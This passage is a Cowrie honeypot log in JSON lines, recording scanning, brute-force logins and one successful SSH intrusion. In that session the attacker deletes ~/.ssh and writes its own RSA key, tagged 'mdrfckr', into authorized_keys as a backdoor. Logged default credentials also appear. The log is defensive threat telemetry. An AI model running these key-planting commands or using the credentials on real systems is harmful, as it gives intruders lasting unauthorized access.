{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15830,"dst_ip":"159.203.135.109","dst_port":23,"session":"da04eb228e6d","protocol":"telnet","message":"New connection: 34.62.129.194:15830 (159.203.135.109:23) [session: da04eb228e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.843404Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15846,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a81bb9b223","protocol":"telnet","message":"New connection: 34.62.129.194:15846 (159.203.135.109:23) [session: a2a81bb9b223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:22.999542Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15854,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bb02d55398","protocol":"telnet","message":"New connection: 34.62.129.194:15854 (159.203.135.109:23) [session: 06bb02d55398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.156569Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.310315Z","src_ip":"101.47.159.125","session":"45c3dc614f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15868,"dst_ip":"159.203.135.109","dst_port":23,"session":"278c5a63f377","protocol":"telnet","message":"New connection: 34.62.129.194:15868 (159.203.135.109:23) [session: 278c5a63f377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.323328Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.330002Z","src_ip":"34.62.129.194","session":"278c5a63f377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15870,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9ff8a411c02","protocol":"telnet","message":"New connection: 34.62.129.194:15870 (159.203.135.109:23) [session: a9ff8a411c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.484008Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15884,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b3fd3c3aa8e","protocol":"telnet","message":"New connection: 34.62.129.194:15884 (159.203.135.109:23) [session: 7b3fd3c3aa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.638893Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15900,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7a94108faa","protocol":"telnet","message":"New connection: 34.62.129.194:15900 (159.203.135.109:23) [session: df7a94108faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.793988Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15908,"dst_ip":"159.203.135.109","dst_port":23,"session":"412b23014d77","protocol":"telnet","message":"New connection: 34.62.129.194:15908 (159.203.135.109:23) [session: 412b23014d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:23.950188Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15910,"dst_ip":"159.203.135.109","dst_port":23,"session":"02aa4814be9c","protocol":"telnet","message":"New connection: 34.62.129.194:15910 (159.203.135.109:23) [session: 02aa4814be9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.106405Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15924,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4dff8aefbb8","protocol":"telnet","message":"New connection: 34.62.129.194:15924 (159.203.135.109:23) [session: e4dff8aefbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.261022Z"}
{"eventid":"cowrie.session.closed","duration":0.005945682525634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.266864Z","src_ip":"34.62.129.194","session":"e4dff8aefbb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15928,"dst_ip":"159.203.135.109","dst_port":23,"session":"de164ed30007","protocol":"telnet","message":"New connection: 34.62.129.194:15928 (159.203.135.109:23) [session: de164ed30007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.417115Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.129.194","src_port":15932,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e08bccc8efe","protocol":"telnet","message":"New connection: 34.62.129.194:15932 (159.203.135.109:23) [session: 2e08bccc8efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.572929Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6683","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6683] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:24.578568Z","src_ip":"34.62.129.194","session":"2e08bccc8efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.195933103561401,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.768753Z","src_ip":"34.62.129.194","session":"2e08bccc8efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.355473756790161,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.772448Z","src_ip":"34.62.129.194","session":"de164ed30007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.669658184051514,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.775957Z","src_ip":"34.62.129.194","session":"02aa4814be9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.829336404800415,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.779406Z","src_ip":"34.62.129.194","session":"412b23014d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.992134094238281,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.786016Z","src_ip":"34.62.129.194","session":"df7a94108faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.15147066116333,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.790231Z","src_ip":"34.62.129.194","session":"7b3fd3c3aa8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.311588048934937,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.795429Z","src_ip":"34.62.129.194","session":"a9ff8a411c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.475932121276855,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.799128Z","src_ip":"34.62.129.194","session":"278c5a63f377","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.64616346359253,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.802592Z","src_ip":"34.62.129.194","session":"06bb02d55398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.806195974349976,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.805611Z","src_ip":"34.62.129.194","session":"a2a81bb9b223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.120923042297363,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.808811Z","src_ip":"34.62.129.194","session":"759042d31400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.968528747558594,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.811790Z","src_ip":"34.62.129.194","session":"da04eb228e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.282938718795776,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.814978Z","src_ip":"34.62.129.194","session":"ee21ac2aa447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.442551374435425,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.818115Z","src_ip":"34.62.129.194","session":"ac44b87a6a58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.602463722229004,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.821539Z","src_ip":"34.62.129.194","session":"77b7f0b64d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.767667293548584,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.824753Z","src_ip":"34.62.129.194","session":"63e67f332836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.477137088775635,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.829043Z","src_ip":"34.62.129.194","session":"9565bf901018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.09201455116272,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.832114Z","src_ip":"34.62.129.194","session":"4efc74e682c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.327099800109863,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.835087Z","src_ip":"34.62.129.194","session":"65385c9d93bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.643509864807129,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.837978Z","src_ip":"34.62.129.194","session":"188a53b2539d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.811915397644043,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.840678Z","src_ip":"34.62.129.194","session":"25c9f24bb660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.978859186172485,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.843504Z","src_ip":"34.62.129.194","session":"49ed71020fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.144205570220947,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.846368Z","src_ip":"34.62.129.194","session":"33b1eb2b6217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.303418636322021,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.849261Z","src_ip":"34.62.129.194","session":"bab8baa1773a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.4622061252594,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.852381Z","src_ip":"34.62.129.194","session":"6e424a19f808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.62104082107544,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.856277Z","src_ip":"34.62.129.194","session":"6380f611d5b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96012735366821,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:33.872570Z","src_ip":"34.62.129.194","session":"5ac05668b36e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":44040,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a5d7d54838","protocol":"ssh","message":"New connection: 14.225.205.58:44040 (159.203.135.109:22) [session: 97a5d7d54838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:36.442309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:36.448360Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:36.710495Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracl3","message":"login attempt [oracle/oracl3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:37.793305Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:38.360074Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:38.364017Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:38.368287Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:38.632623Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.195155Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.198997Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.466441Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.470450Z","src_ip":"14.225.205.58","session":"97a5d7d54838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":41108,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4cef9235865","protocol":"ssh","message":"New connection: 14.225.205.58:41108 (159.203.135.109:22) [session: f4cef9235865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.709139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.714503Z","src_ip":"14.225.205.58","session":"f4cef9235865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:39.968197Z","src_ip":"14.225.205.58","session":"f4cef9235865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:41.000936Z","src_ip":"14.225.205.58","session":"f4cef9235865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5a0b33c586","protocol":"ssh","message":"New connection: 103.91.246.101:41584 (159.203.135.109:22) [session: 0c5a0b33c586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.238460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.244647Z","src_ip":"103.91.246.101","session":"0c5a0b33c586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:20:42.257187Z","src_ip":"14.225.205.58","session":"f4cef9235865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 